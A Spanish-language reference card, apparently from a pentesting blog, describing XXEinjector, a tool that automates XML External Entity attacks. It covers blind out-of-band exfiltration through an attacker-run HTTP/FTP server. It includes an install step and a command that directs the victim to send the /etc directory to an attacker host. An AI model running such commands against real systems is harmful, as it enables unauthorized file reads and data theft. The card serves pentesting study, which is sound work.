XXEinjector
Automatiza XXE, incluida la exfiltración fuera de banda y ciega.
Automatiza la explotación de XXE a partir de una petición guardada en fichero. Su valor está en los casos difíciles: cuando la aplicación no devuelve el contenido del fichero en la respuesta (**XXE ciego**), levanta su propio servidor HTTP y FTP, inyecta un DTD externo que hace que sea la víctima quien envíe el fichero fuera, y va recorriendo directorios enteros de forma automática. Con `--phpfilter` codifica en base64 por el camino, que es lo que permite sacar ficheros PHP sin que el parser XML se atragante.
Familia Explotación web
Flags --host --file --path --oob --phpfilter
Conceptos XML External Entity (XXE) Injection, Arbitrary File Read, Server-Side Request Forgery (SSRF)
Cheatsheet XXE (entidades externas XML)
Instalación
git clone https://github.com/enjoiz/XXEinjector
ruby XXEinjector/XXEinjector.rb --host=<lhost> --httpport=8000 --file=<request.txt> --path=/etcComandos útiles
Herramienta de referencia: aún no aparece en una máquina publicada del blog, pero forma parte del arsenal por su uso habitual.